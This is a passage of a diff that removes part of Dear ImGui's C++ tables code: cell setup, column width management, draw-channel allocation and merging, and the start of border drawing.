(table->RequestOutputMaskByIndex & ((ImU64)1 << column_n)) != 0; -} - - -// [Internal] Called by TableSetColumnIndex()/TableNextColumn() -// This is called very frequently, so we need to be mindful of unnecessary overhead. -// FIXME-TABLE FIXME-OPT: Could probably shortcut some things for non-active or clipped columns. -void ImGui::TableBeginCell(ImGuiTable* table, int column_n) -{ - ImGuiTableColumn* column = &table->Columns[column_n]; - ImGuiWindow* window = table->InnerWindow; - table->CurrentColumn = column_n; - - // Start position is roughly ~~ CellRect.Min + CellPadding + Indent - float start_x = column->WorkMinX; - if (column->Flags & ImGuiTableColumnFlags_IndentEnable) - start_x += table->RowIndentOffsetX; // ~~ += window.DC.Indent.x - table->HostIndentX, except we locked it for the row. - - window->DC.CursorPos.x = start_x; - window->DC.CursorPos.y = table->RowPosY1 + table->CellPaddingY; - window->DC.CursorMaxPos.x = window->DC.CursorPos.x; - window->DC.ColumnsOffset.x = start_x - window->Pos.x - window->DC.Indent.x; // FIXME-WORKRECT - window->DC.CurrLineTextBaseOffset = table->RowTextBaseline; - window->DC.NavLayerCurrent = (ImGuiNavLayer)column->NavLayerCurrent; - - window->WorkRect.Min.y = window->DC.CursorPos.y; - window->WorkRect.Min.x = column->WorkMinX; - window->WorkRect.Max.x = column->WorkMaxX; - window->DC.ItemWidth = column->ItemWidth; - - // To allow ImGuiListClipper to function we propagate our row height - if (!column->IsEnabled) - window->DC.CursorPos.y = ImMax(window->DC.CursorPos.y, table->RowPosY2); - - window->SkipItems = column->IsSkipItems; - if (column->IsSkipItems) - { - window->DC.LastItemId = 0; - window->DC.LastItemStatusFlags = 0; - } - - if (table->Flags & ImGuiTableFlags_NoClip) - { - // FIXME: if we end up drawing all borders/bg in EndTable, could remove this and just assert that channel hasn't changed. - table->DrawSplitter.SetCurrentChannel(window->DrawList, TABLE_DRAW_CHANNEL_NOCLIP); - //IM_ASSERT(table->DrawSplitter._Current == TABLE_DRAW_CHANNEL_NOCLIP); - } - else - { - // FIXME-TABLE: Could avoid this if draw channel is dummy channel? - SetWindowClipRectBeforeSetChannel(window, column->ClipRect); - table->DrawSplitter.SetCurrentChannel(window->DrawList, column->DrawChannelCurrent); - } - - // Logging - ImGuiContext& g = *GImGui; - if (g.LogEnabled && !column->IsSkipItems) - { - LogRenderedText(&window->DC.CursorPos, "|"); - g.LogLinePosY = FLT_MAX; - } -} - -// [Internal] Called by TableNextRow()/TableSetColumnIndex()/TableNextColumn() -void ImGui::TableEndCell(ImGuiTable* table) -{ - ImGuiTableColumn* column = &table->Columns[table->CurrentColumn]; - ImGuiWindow* window = table->InnerWindow; - - // Report maximum position so we can infer content size per column. - float* p_max_pos_x; - if (table->RowFlags & ImGuiTableRowFlags_Headers) - p_max_pos_x = &column->ContentMaxXHeadersUsed; // Useful in case user submit contents in header row that is not a TableHeader() call - else - p_max_pos_x = table->IsUnfrozenRows ? &column->ContentMaxXUnfrozen : &column->ContentMaxXFrozen; - *p_max_pos_x = ImMax(*p_max_pos_x, window->DC.CursorMaxPos.x); - table->RowPosY2 = ImMax(table->RowPosY2, window->DC.CursorMaxPos.y + table->CellPaddingY); - column->ItemWidth = window->DC.ItemWidth; - - // Propagate text baseline for the entire row - // FIXME-TABLE: Here we propagate text baseline from the last line of the cell.. instead of the first one. - table->RowTextBaseline = ImMax(table->RowTextBaseline, window->DC.PrevLineTextBaseOffset); -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Columns width management -//------------------------------------------------------------------------- -// - TableGetMaxColumnWidth() [Internal] -// - TableGetColumnWidthAuto() [Internal] -// - TableSetColumnWidth() -// - TableSetColumnWidthAutoSingle() [Internal] -// - TableSetColumnWidthAutoAll() [Internal] -// - TableUpdateColumnsWeightFromWidth() [Internal] -//------------------------------------------------------------------------- - -// Maximum column content width given current layout. Use column->MinX so this value on a per-column basis. -float ImGui::TableGetMaxColumnWidth(const ImGuiTable* table, int column_n) -{ - const ImGuiTableColumn* column = &table->Columns[column_n]; - float max_width = FLT_MAX; - const float min_column_distance = table->MinColumnWidth + table->CellPaddingX * 2.0f + table->CellSpacingX1 + table->CellSpacingX2; - if (table->Flags & ImGuiTableFlags_ScrollX) - { - // Frozen columns can't reach beyond visible width else scrolling will naturally break. - if (column->DisplayOrder < table->FreezeColumnsRequest) - { - max_width = (table->InnerClipRect.Max.x - (table->FreezeColumnsRequest - column->DisplayOrder) * min_column_distance) - column->MinX; - max_width = max_width - table->OuterPaddingX - table->CellPaddingX - table->CellSpacingX2; - } - } - else if ((table->Flags & ImGuiTableFlags_NoKeepColumnsVisible) == 0) - { - // If horizontal scrolling if disabled, we apply a final lossless shrinking of columns in order to make - // sure they are all visible. Because of this we also know that all of the columns will always fit in - // table->WorkRect and therefore in table->InnerRect (because ScrollX is off) - // FIXME-TABLE: This is solved incorrectly but also quite a difficult problem to fix as we also want ClipRect width to match. - // See "table_width_distrib" and "table_width_keep_visible" tests - max_width = table->WorkRect.Max.x - (table->ColumnsEnabledCount - column->IndexWithinEnabledSet - 1) * min_column_distance - column->MinX; - //max_width -= table->CellSpacingX1; - max_width -= table->CellSpacingX2; - max_width -= table->CellPaddingX * 2.0f; - max_width -= table->OuterPaddingX; - } - return max_width; -} - -// Note this is meant to be stored in column->WidthAuto, please generally use the WidthAuto field -float ImGui::TableGetColumnWidthAuto(ImGuiTable* table, ImGuiTableColumn* column) -{ - const float content_width_body = ImMax(column->ContentMaxXFrozen, column->ContentMaxXUnfrozen) - column->WorkMinX; - const float content_width_headers = column->ContentMaxXHeadersIdeal - column->WorkMinX; - float width_auto = content_width_body; - if (!(column->Flags & ImGuiTableColumnFlags_NoHeaderWidth)) - width_auto = ImMax(width_auto, content_width_headers); - - // Non-resizable fixed columns preserve their requested width - if ((column->Flags & ImGuiTableColumnFlags_WidthFixed) && column->InitStretchWeightOrWidth > 0.0f) - if (!(table->Flags & ImGuiTableFlags_Resizable) || (column->Flags & ImGuiTableColumnFlags_NoResize)) - width_auto = column->InitStretchWeightOrWidth; - - return ImMax(width_auto, table->MinColumnWidth); -} - -// 'width' = inner column width, without padding -void ImGui::TableSetColumnWidth(int column_n, float width) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL && table->IsLayoutLocked == false); - IM_ASSERT(column_n >= 0 && column_n < table->ColumnsCount); - ImGuiTableColumn* column_0 = &table->Columns[column_n]; - float column_0_width = width; - - // Apply constraints early - // Compare both requested and actual given width to avoid overwriting requested width when column is stuck (minimum size, bounded) - IM_ASSERT(table->MinColumnWidth > 0.0f); - const float min_width = table->MinColumnWidth; - const float max_width = ImMax(min_width, TableGetMaxColumnWidth(table, column_n)); - column_0_width = ImClamp(column_0_width, min_width, max_width); - if (column_0->WidthGiven == column_0_width || column_0->WidthRequest == column_0_width) - return; - - //IMGUI_DEBUG_LOG("TableSetColumnWidth(%d, %.1f->%.1f)\n", column_0_idx, column_0->WidthGiven, column_0_width); - ImGuiTableColumn* column_1 = (column_0->NextEnabledColumn != -1) ? &table->Columns[column_0->NextEnabledColumn] : NULL; - - // In this surprisingly not simple because of how we support mixing Fixed and multiple Stretch columns. - // - All fixed: easy. - // - All stretch: easy. - // - One or more fixed + one stretch: easy. - // - One or more fixed + more than one stretch: tricky. - // Qt when manual resize is enabled only support a single _trailing_ stretch column. - - // When forwarding resize from Wn| to Fn+1| we need to be considerate of the _NoResize flag on Fn+1. - // FIXME-TABLE: Find a way to rewrite all of this so interactions feel more consistent for the user. - // Scenarios: - // - F1 F2 F3 resize from F1| or F2| --> ok: alter ->WidthRequested of Fixed column. Subsequent columns will be offset. - // - F1 F2 F3 resize from F3| --> ok: alter ->WidthRequested of Fixed column. If active, ScrollX extent can be altered. - // - F1 F2 W3 resize from F1| or F2| --> ok: alter ->WidthRequested of Fixed column. If active, ScrollX extent can be altered, but it doesn't make much sense as the Stretch column will always be minimal size. - // - F1 F2 W3 resize from W3| --> ok: no-op (disabled by Resize Rule 1) - // - W1 W2 W3 resize from W1| or W2| --> ok - // - W1 W2 W3 resize from W3| --> ok: no-op (disabled by Resize Rule 1) - // - W1 F2 F3 resize from F3| --> ok: no-op (disabled by Resize Rule 1) - // - W1 F2 resize from F2| --> ok: no-op (disabled by Resize Rule 1) - // - W1 W2 F3 resize from W1| or W2| --> ok - // - W1 F2 W3 resize from W1| or F2| --> ok - // - F1 W2 F3 resize from W2| --> ok - // - F1 W3 F2 resize from W3| --> ok - // - W1 F2 F3 resize from W1| --> ok: equivalent to resizing |F2. F3 will not move. - // - W1 F2 F3 resize from F2| --> ok - // All resizes from a Wx columns are locking other columns. - - // Possible improvements: - // - W1 W2 W3 resize W1| --> to not be stuck, both W2 and W3 would stretch down. Seems possible to fix. Would be most beneficial to simplify resize of all-weighted columns. - // - W3 F1 F2 resize W3| --> to not be stuck past F1|, both F1 and F2 would need to stretch down, which would be lossy or ambiguous. Seems hard to fix. - - // [Resize Rule 1] Can't resize from right of right-most visible column if there is any Stretch column. Implemented in TableUpdateLayout(). - - // If we have all Fixed columns OR resizing a Fixed column that doesn't come after a Stretch one, we can do an offsetting resize. - // This is the preferred resize path - if (column_0->Flags & ImGuiTableColumnFlags_WidthFixed) - if (!column_1 || table->LeftMostStretchedColumn == -1 || table->Columns[table->LeftMostStretchedColumn].DisplayOrder >= column_0->DisplayOrder) - { - column_0->WidthRequest = column_0_width; - table->IsSettingsDirty = true; - return; - } - - // We can also use previous column if there's no next one (this is used when doing an auto-fit on the right-most stretch column) - if (column_1 == NULL) - column_1 = (column_0->PrevEnabledColumn != -1) ? &table->Columns[column_0->PrevEnabledColumn] : NULL; - if (column_1 == NULL) - return; - - // Resizing from right-side of a Stretch column before a Fixed column forward sizing to left-side of fixed column. - // (old_a + old_b == new_a + new_b) --> (new_a == old_a + old_b - new_b) - float column_1_width = ImMax(column_1->WidthRequest - (column_0_width - column_0->WidthRequest), min_width); - column_0_width = column_0->WidthRequest + column_1->WidthRequest - column_1_width; - IM_ASSERT(column_0_width > 0.0f && column_1_width > 0.0f); - column_0->WidthRequest = column_0_width; - column_1->WidthRequest = column_1_width; - if ((column_0->Flags | column_1->Flags) & ImGuiTableColumnFlags_WidthStretch) - TableUpdateColumnsWeightFromWidth(table); - table->IsSettingsDirty = true; -} - -// Disable clipping then auto-fit, will take 2 frames -// (we don't take a shortcut for unclipped columns to reduce inconsistencies when e.g. resizing multiple columns) -void ImGui::TableSetColumnWidthAutoSingle(ImGuiTable* table, int column_n) -{ - // Single auto width uses auto-fit - ImGuiTableColumn* column = &table->Columns[column_n]; - if (!column->IsEnabled) - return; - column->CannotSkipItemsQueue = (1 << 0); - table->AutoFitSingleColumn = (ImGuiTableColumnIdx)column_n; -} - -void ImGui::TableSetColumnWidthAutoAll(ImGuiTable* table) -{ - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (!column->IsEnabled && !(column->Flags & ImGuiTableColumnFlags_WidthStretch)) // Cannot reset weight of hidden stretch column - continue; - column->CannotSkipItemsQueue = (1 << 0); - column->AutoFitQueue = (1 << 1); - } -} - -void ImGui::TableUpdateColumnsWeightFromWidth(ImGuiTable* table) -{ - IM_ASSERT(table->LeftMostStretchedColumn != -1 && table->RightMostStretchedColumn != -1); - - // Measure existing quantity - float visible_weight = 0.0f; - float visible_width = 0.0f; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (!column->IsEnabled || !(column->Flags & ImGuiTableColumnFlags_WidthStretch)) - continue; - IM_ASSERT(column->StretchWeight > 0.0f); - visible_weight += column->StretchWeight; - visible_width += column->WidthRequest; - } - IM_ASSERT(visible_weight > 0.0f && visible_width > 0.0f); - - // Apply new weights - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (!column->IsEnabled || !(column->Flags & ImGuiTableColumnFlags_WidthStretch)) - continue; - column->StretchWeight = (column->WidthRequest / visible_width) * visible_weight; - IM_ASSERT(column->StretchWeight > 0.0f); - } -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Drawing -//------------------------------------------------------------------------- -// - TablePushBackgroundChannel() [Internal] -// - TablePopBackgroundChannel() [Internal] -// - TableSetupDrawChannels() [Internal] -// - TableMergeDrawChannels() [Internal] -// - TableDrawBorders() [Internal] -//------------------------------------------------------------------------- - -// Bg2 is used by Selectable (and possibly other widgets) to render to the background. -// Unlike our Bg0/1 channel which we uses for RowBg/CellBg/Borders and where we guarantee all shapes to be CPU-clipped, the Bg2 channel being widgets-facing will rely on regular ClipRect. -void ImGui::TablePushBackgroundChannel() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiTable* table = g.CurrentTable; - - // Optimization: avoid SetCurrentChannel() + PushClipRect() - table->HostBackupInnerClipRect = window->ClipRect; - SetWindowClipRectBeforeSetChannel(window, table->Bg2ClipRectForDrawCmd); - table->DrawSplitter.SetCurrentChannel(window->DrawList, table->Bg2DrawChannelCurrent); -} - -void ImGui::TablePopBackgroundChannel() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiTable* table = g.CurrentTable; - ImGuiTableColumn* column = &table->Columns[table->CurrentColumn]; - - // Optimization: avoid PopClipRect() + SetCurrentChannel() - SetWindowClipRectBeforeSetChannel(window, table->HostBackupInnerClipRect); - table->DrawSplitter.SetCurrentChannel(window->DrawList, column->DrawChannelCurrent); -} - -// Allocate draw channels. Called by TableUpdateLayout() -// - We allocate them following storage order instead of display order so reordering columns won't needlessly -// increase overall dormant memory cost. -// - We isolate headers draw commands in their own channels instead of just altering clip rects. -// This is in order to facilitate merging of draw commands. -// - After crossing FreezeRowsCount, all columns see their current draw channel changed to a second set of channels. -// - We only use the dummy draw channel so we can push a null clipping rectangle into it without affecting other -// channels, while simplifying per-row/per-cell overhead. It will be empty and discarded when merged. -// - We allocate 1 or 2 background draw channels. This is because we know TablePushBackgroundChannel() is only used for -// horizontal spanning. If we allowed vertical spanning we'd need one background draw channel per merge group (1-4). -// Draw channel allocation (before merging): -// - NoClip --> 2+D+1 channels: bg0/1 + bg2 + foreground (same clip rect == always 1 draw call) -// - Clip --> 2+D+N channels -// - FreezeRows --> 2+D+N*2 (unless scrolling value is zero) -// - FreezeRows || FreezeColunns --> 3+D+N*2 (unless scrolling value is zero) -// Where D is 1 if any column is clipped or hidden (dummy channel) otherwise 0. -void ImGui::TableSetupDrawChannels(ImGuiTable* table) -{ - const int freeze_row_multiplier = (table->FreezeRowsCount > 0) ? 2 : 1; - const int channels_for_row = (table->Flags & ImGuiTableFlags_NoClip) ? 1 : table->ColumnsEnabledCount; - const int channels_for_bg = 1 + 1 * freeze_row_multiplier; - const int channels_for_dummy = (table->ColumnsEnabledCount < table->ColumnsCount || table->VisibleMaskByIndex != table->EnabledMaskByIndex) ? +1 : 0; - const int channels_total = channels_for_bg + (channels_for_row * freeze_row_multiplier) + channels_for_dummy; - table->DrawSplitter.Split(table->InnerWindow->DrawList, channels_total); - table->DummyDrawChannel = (ImGuiTableDrawChannelIdx)((channels_for_dummy > 0) ? channels_total - 1 : -1); - table->Bg2DrawChannelCurrent = TABLE_DRAW_CHANNEL_BG2_FROZEN; - table->Bg2DrawChannelUnfrozen = (ImGuiTableDrawChannelIdx)((table->FreezeRowsCount > 0) ? 2 + channels_for_row : TABLE_DRAW_CHANNEL_BG2_FROZEN); - - int draw_channel_current = 2; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (column->IsVisibleX && column->IsVisibleY) - { - column->DrawChannelFrozen = (ImGuiTableDrawChannelIdx)(draw_channel_current); - column->DrawChannelUnfrozen = (ImGuiTableDrawChannelIdx)(draw_channel_current + (table->FreezeRowsCount > 0 ? channels_for_row + 1 : 0)); - if (!(table->Flags & ImGuiTableFlags_NoClip)) - draw_channel_current++; - } - else - { - column->DrawChannelFrozen = column->DrawChannelUnfrozen = table->DummyDrawChannel; - } - column->DrawChannelCurrent = column->DrawChannelFrozen; - } - - // Initial draw cmd starts with a BgClipRect that matches the one of its host, to facilitate merge draw commands by default. - // All our cell highlight are manually clipped with BgClipRect. When unfreezing it will be made smaller to fit scrolling rect. - // (This technically isn't part of setting up draw channels, but is reasonably related to be done here) - table->BgClipRect = table->InnerClipRect; - table->Bg0ClipRectForDrawCmd = table->OuterWindow->ClipRect; - table->Bg2ClipRectForDrawCmd = table->HostClipRect; - IM_ASSERT(table->BgClipRect.Min.y <= table->BgClipRect.Max.y); -} - -// This function reorder draw channels based on matching clip rectangle, to facilitate merging them. Called by EndTable(). -// For simplicity we call it TableMergeDrawChannels() but in fact it only reorder channels + overwrite ClipRect, -// actual merging is done by table->DrawSplitter.Merge() which is called right after TableMergeDrawChannels(). -// -// Columns where the contents didn't stray off their local clip rectangle can be merged. To achieve -// this we merge their clip rect and make them contiguous in the channel list, so they can be merged -// by the call to DrawSplitter.Merge() following to the call to this function. -// We reorder draw commands by arranging them into a maximum of 4 distinct groups: -// -// 1 group: 2 groups: 2 groups: 4 groups: -// [ 0. ] no freeze [ 0. ] row freeze [ 01 ] col freeze [ 01 ] row+col freeze -// [ .. ] or no scroll [ 2. ] and v-scroll [ .. ] and h-scroll [ 23 ] and v+h-scroll -// -// Each column itself can use 1 channel (row freeze disabled) or 2 channels (row freeze enabled). -// When the contents of a column didn't stray off its limit, we move its channels into the corresponding group -// based on its position (within frozen rows/columns groups or not). -// At the end of the operation our 1-4 groups will each have a ImDrawCmd using the same ClipRect. -// This function assume that each column are pointing to a distinct draw channel, -// otherwise merge_group->ChannelsCount will not match set bit count of merge_group->ChannelsMask. -// -// Column channels will not be merged into one of the 1-4 groups in the following cases: -// - The contents stray off its clipping rectangle (we only compare the MaxX value, not the MinX value). -// Direct ImDrawList calls won't be taken into account by default, if you use them make sure the ImGui:: bounds -// matches, by e.g. calling SetCursorScreenPos(). -// - The channel uses more than one draw command itself. We drop all our attempt at merging stuff here.. -// we could do better but it's going to be rare and probably not worth the hassle. -// Columns for which the draw channel(s) haven't been merged with other will use their own ImDrawCmd. -// -// This function is particularly tricky to understand.. take a breath. -void ImGui::TableMergeDrawChannels(ImGuiTable* table) -{ - ImGuiContext& g = *GImGui; - ImDrawListSplitter* splitter = &table->DrawSplitter; - const bool has_freeze_v = (table->FreezeRowsCount > 0); - const bool has_freeze_h = (table->FreezeColumnsCount > 0); - IM_ASSERT(splitter->_Current == 0); - - // Track which groups we are going to attempt to merge, and which channels goes into each group. - struct MergeGroup - { - ImRect ClipRect; - int ChannelsCount; - ImBitArray ChannelsMask; - }; - int merge_group_mask = 0x00; - MergeGroup merge_groups[4]; - memset(merge_groups, 0, sizeof(merge_groups)); - - // 1. Scan channels and take note of those which can be merged - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - if ((table->VisibleMaskByIndex & ((ImU64)1 << column_n)) == 0) - continue; - ImGuiTableColumn* column = &table->Columns[column_n]; - - const int merge_group_sub_count = has_freeze_v ? 2 : 1; - for (int merge_group_sub_n = 0; merge_group_sub_n < merge_group_sub_count; merge_group_sub_n++) - { - const int channel_no = (merge_group_sub_n == 0) ? column->DrawChannelFrozen : column->DrawChannelUnfrozen; - - // Don't attempt to merge if there are multiple draw calls within the column - ImDrawChannel* src_channel = &splitter->_Channels[channel_no]; - if (src_channel->_CmdBuffer.Size > 0 && src_channel->_CmdBuffer.back().ElemCount == 0) - src_channel->_CmdBuffer.pop_back(); - if (src_channel->_CmdBuffer.Size != 1) - continue; - - // Find out the width of this merge group and check if it will fit in our column - // (note that we assume that rendering didn't stray on the left direction. we should need a CursorMinPos to detect it) - if (!(column->Flags & ImGuiTableColumnFlags_NoClip)) - { - float content_max_x; - if (!has_freeze_v) - content_max_x = ImMax(column->ContentMaxXUnfrozen, column->ContentMaxXHeadersUsed); // No row freeze - else if (merge_group_sub_n == 0) - content_max_x = ImMax(column->ContentMaxXFrozen, column->ContentMaxXHeadersUsed); // Row freeze: use width before freeze - else - content_max_x = column->ContentMaxXUnfrozen; // Row freeze: use width after freeze - if (content_max_x > column->ClipRect.Max.x) - continue; - } - - const int merge_group_n = (has_freeze_h && column_n < table->FreezeColumnsCount ? 0 : 1) + (has_freeze_v && merge_group_sub_n == 0 ? 0 : 2); - IM_ASSERT(channel_no < IMGUI_TABLE_MAX_DRAW_CHANNELS); - MergeGroup* merge_group = &merge_groups[merge_group_n]; - if (merge_group->ChannelsCount == 0) - merge_group->ClipRect = ImRect(+FLT_MAX, +FLT_MAX, -FLT_MAX, -FLT_MAX); - merge_group->ChannelsMask.SetBit(channel_no); - merge_group->ChannelsCount++; - merge_group->ClipRect.Add(src_channel->_CmdBuffer[0].ClipRect); - merge_group_mask |= (1 << merge_group_n); - } - - // Invalidate current draw channel - // (we don't clear DrawChannelFrozen/DrawChannelUnfrozen solely to facilitate debugging/later inspection of data) - column->DrawChannelCurrent = (ImGuiTableDrawChannelIdx)-1; - } - - // [DEBUG] Display merge groups -#if 0 - if (g.IO.KeyShift) - for (int merge_group_n = 0; merge_group_n < IM_ARRAYSIZE(merge_groups); merge_group_n++) - { - MergeGroup* merge_group = &merge_groups[merge_group_n]; - if (merge_group->ChannelsCount == 0) - continue; - char buf[32]; - ImFormatString(buf, 32, "MG%d:%d", merge_group_n, merge_group->ChannelsCount); - ImVec2 text_pos = merge_group->ClipRect.Min + ImVec2(4, 4); - ImVec2 text_size = CalcTextSize(buf, NULL); - GetForegroundDrawList()->AddRectFilled(text_pos, text_pos + text_size, IM_COL32(0, 0, 0, 255)); - GetForegroundDrawList()->AddText(text_pos, IM_COL32(255, 255, 0, 255), buf, NULL); - GetForegroundDrawList()->AddRect(merge_group->ClipRect.Min, merge_group->ClipRect.Max, IM_COL32(255, 255, 0, 255)); - } -#endif - - // 2. Rewrite channel list in our preferred order - if (merge_group_mask != 0) - { - // We skip channel 0 (Bg0/Bg1) and 1 (Bg2 frozen) from the shuffling since they won't move - see channels allocation in TableSetupDrawChannels(). - const int LEADING_DRAW_CHANNELS = 2; - g.DrawChannelsTempMergeBuffer.resize(splitter->_Count - LEADING_DRAW_CHANNELS); // Use shared temporary storage so the allocation gets amortized - ImDrawChannel* dst_tmp = g.DrawChannelsTempMergeBuffer.Data; - ImBitArray remaining_mask; // We need 132-bit of storage - remaining_mask.ClearAllBits(); - remaining_mask.SetBitRange(LEADING_DRAW_CHANNELS, splitter->_Count); - remaining_mask.ClearBit(table->Bg2DrawChannelUnfrozen); - IM_ASSERT(has_freeze_v == false || table->Bg2DrawChannelUnfrozen != TABLE_DRAW_CHANNEL_BG2_FROZEN); - int remaining_count = splitter->_Count - (has_freeze_v ? LEADING_DRAW_CHANNELS + 1 : LEADING_DRAW_CHANNELS); - //ImRect host_rect = (table->InnerWindow == table->OuterWindow) ? table->InnerClipRect : table->HostClipRect; - ImRect host_rect = table->HostClipRect; - for (int merge_group_n = 0; merge_group_n < IM_ARRAYSIZE(merge_groups); merge_group_n++) - { - if (int merge_channels_count = merge_groups[merge_group_n].ChannelsCount) - { - MergeGroup* merge_group = &merge_groups[merge_group_n]; - ImRect merge_clip_rect = merge_group->ClipRect; - - // Extend outer-most clip limits to match those of host, so draw calls can be merged even if - // outer-most columns have some outer padding offsetting them from their parent ClipRect. - // The principal cases this is dealing with are: - // - On a same-window table (not scrolling = single group), all fitting columns ClipRect -> will extend and match host ClipRect -> will merge - // - Columns can use padding and have left-most ClipRect.Min.x and right-most ClipRect.Max.x != from host ClipRect -> will extend and match host ClipRect -> will merge - // FIXME-TABLE FIXME-WORKRECT: We are wasting a merge opportunity on tables without scrolling if column doesn't fit - // within host clip rect, solely because of the half-padding difference between window->WorkRect and window->InnerClipRect. - if ((merge_group_n & 1) == 0 || !has_freeze_h) - merge_clip_rect.Min.x = ImMin(merge_clip_rect.Min.x, host_rect.Min.x); - if ((merge_group_n & 2) == 0 || !has_freeze_v) - merge_clip_rect.Min.y = ImMin(merge_clip_rect.Min.y, host_rect.Min.y); - if ((merge_group_n & 1) != 0) - merge_clip_rect.Max.x = ImMax(merge_clip_rect.Max.x, host_rect.Max.x); - if ((merge_group_n & 2) != 0 && (table->Flags & ImGuiTableFlags_NoHostExtendY) == 0) - merge_clip_rect.Max.y = ImMax(merge_clip_rect.Max.y, host_rect.Max.y); -#if 0 - GetOverlayDrawList()->AddRect(merge_group->ClipRect.Min, merge_group->ClipRect.Max, IM_COL32(255, 0, 0, 200), 0.0f, ~0, 1.0f); - GetOverlayDrawList()->AddLine(merge_group->ClipRect.Min, merge_clip_rect.Min, IM_COL32(255, 100, 0, 200)); - GetOverlayDrawList()->AddLine(merge_group->ClipRect.Max, merge_clip_rect.Max, IM_COL32(255, 100, 0, 200)); -#endif - remaining_count -= merge_group->ChannelsCount; - for (int n = 0; n < IM_ARRAYSIZE(remaining_mask.Storage); n++) - remaining_mask.Storage[n] &= ~merge_group->ChannelsMask.Storage[n]; - for (int n = 0; n < splitter->_Count && merge_channels_count != 0; n++) - { - // Copy + overwrite new clip rect - if (!merge_group->ChannelsMask.TestBit(n)) - continue; - merge_group->ChannelsMask.ClearBit(n); - merge_channels_count--; - - ImDrawChannel* channel = &splitter->_Channels[n]; - IM_ASSERT(channel->_CmdBuffer.Size == 1 && merge_clip_rect.Contains(ImRect(channel->_CmdBuffer[0].ClipRect))); - channel->_CmdBuffer[0].ClipRect = merge_clip_rect.ToVec4(); - memcpy(dst_tmp++, channel, sizeof(ImDrawChannel)); - } - } - - // Make sure Bg2DrawChannelUnfrozen appears in the middle of our groups (whereas Bg0/Bg1 and Bg2 frozen are fixed to 0 and 1) - if (merge_group_n == 1 && has_freeze_v) - memcpy(dst_tmp++, &splitter->_Channels[table->Bg2DrawChannelUnfrozen], sizeof(ImDrawChannel)); - } - - // Append unmergeable channels that we didn't reorder at the end of the list - for (int n = 0; n < splitter->_Count && remaining_count != 0; n++) - { - if (!remaining_mask.TestBit(n)) - continue; - ImDrawChannel* channel = &splitter->_Channels[n]; - memcpy(dst_tmp++, channel, sizeof(ImDrawChannel)); - remaining_count--; - } - IM_ASSERT(dst_tmp == g.DrawChannelsTempMergeBuffer.Data + g.DrawChannelsTempMergeBuffer.Size); - memcpy(splitter->_Channels.Data + LEADING_DRAW_CHANNELS, g.DrawChannelsTempMergeBuffer.Data, (splitter->_Count - LEADING_DRAW_CHANNELS) * sizeof(ImDrawChannel)); - } -} - -// FIXME-TABLE: This is a mess, need to redesign how we render borders (as some are also done in TableEndRow) -void ImGui::TableDrawBorders(ImGuiTable* table) -{ - ImGuiWindow* inner_window = table->InnerWindow; - if (!table->OuterWindow->ClipRect.Overlaps(table->OuterRect)) - return; - - ImDrawList* inner_drawlist = inner_window->DrawList; - table->DrawSplitter.SetCurrentChannel(inner_drawlist, TABLE_DRAW_CHANNEL_BG0); - inner_drawlist->PushClipRect(table->Bg0ClipRectForDrawCmd.Min, table->Bg0ClipRectForDrawCmd.Max, false); - - // Draw inner border and resizing feedback - const float border_size = TABLE_BORDER_SIZE; - const float draw_y1 = table->InnerRect.Min.y; - const float draw_y2_body = table->InnerRect.Max.y; - const float draw_y2_head = table->IsUsingHeaders ? ImMin(table->InnerRect.Max.y, (table->FreezeRowsCount >= 1 ? table->InnerRect.Min.y : table->WorkRect.Min.y) + table->LastFirstRowHeight) : draw_y1; - if (table->Flags & ImGuiTableFlags_BordersInnerV) - { - for (int order_n = 0; order_n < table->ColumnsCount; order_n++) - { - if (!(table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n))) - continue; - - const int column_n = table->DisplayOrderToIndex[order_n]; - ImGuiTableColumn* column = &table->Columns[column_n]; - const bool is_hovered = (table->HoveredColumnBorder == column_n); - const bool is_resized = (table->ResizedColumn == column_n) && (table->InstanceInteracted == table->InstanceCurrent); - const bool is_resizable = (column->Flags & (ImGuiTableColumnFlags_NoResize | ImGuiTableColumnFlags_NoDirectResize_)) == 0; - const bool is_frozen_separator = (table->FreezeColumnsCount != -1 && table->FreezeColumnsCount == order_n + 1); - if (column->MaxX > table->InnerClipRect.Max.x && !is_resized) - continue; - - // Decide whether right-most column is visible - if (column->NextEnabledColumn == -1 && !is_resizable) - if ((table->Flags & ImGuiTableFlags_SizingMask_) != ImGuiTableFlags_SizingFixedSame || (table->Flags & ImGuiTableFlags_NoHostExtendX)) - continue; - if (column->MaxX <= column->ClipRect.Min.x) // FIXME-TABLE FIXME-STYLE: Assume BorderSize==1, this is problematic if we want to increase the border size.. - continue; - - // Draw in outer window so right-most column won't be clipped - // Always draw full height border when being resized/hovered, or on the delimitation of frozen column scrolling. - ImU32 col; - float draw_y2; - if (is_hovered || is_resized || is_frozen_separator) - { - draw_y2 = draw_y2_body; - col = is_resized ? GetColorU32(ImGuiCol_SeparatorActive) : is_hovered ? GetColorU32(ImGuiCol_SeparatorHovered) : table->BorderColorStrong; - } - else - { - draw_y2 = (table->Flags & (ImGuiTableFlags_NoBordersInBody | ImGuiTableFlags_NoBordersInBodyUntilResize)) ? draw_y2_head : draw_y2_body; - col = (table->Flags & (ImGuiTableFlags_NoBordersInBody | ImGuiTableFlags_NoBordersInBodyUntilResize)) ? table->BorderColorStrong : table->BorderColorLight; - } - - if (draw_y2 > draw_y1) - inner_drawlist->AddLine(ImVec2(column->MaxX, draw_y1), ImVec2(column->MaxX, draw_y2), col, border_size); - } - } - - // Draw outer border - // FIXME: could use AddRect or explicit VLine/HLine helper? - if (table->Flags & ImGuiTableFlags_BordersOuter) - { - // Display outer border offset by 1 which is a simple way to display it without adding an extra draw call - // (Without the offset, in outer_window it would be rendered behind cells, because child windows are above their - // parent. In inner_window, it won't reach out over scrollbars. Another weird solution 